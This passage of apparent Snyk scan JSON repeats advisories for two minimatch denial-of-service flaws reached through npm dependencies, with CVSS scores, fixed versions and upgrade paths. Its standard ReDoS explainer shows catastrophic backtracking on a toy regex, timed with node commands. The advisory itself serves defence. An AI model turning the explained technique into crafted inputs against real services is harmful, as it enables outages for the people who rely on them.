[ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], 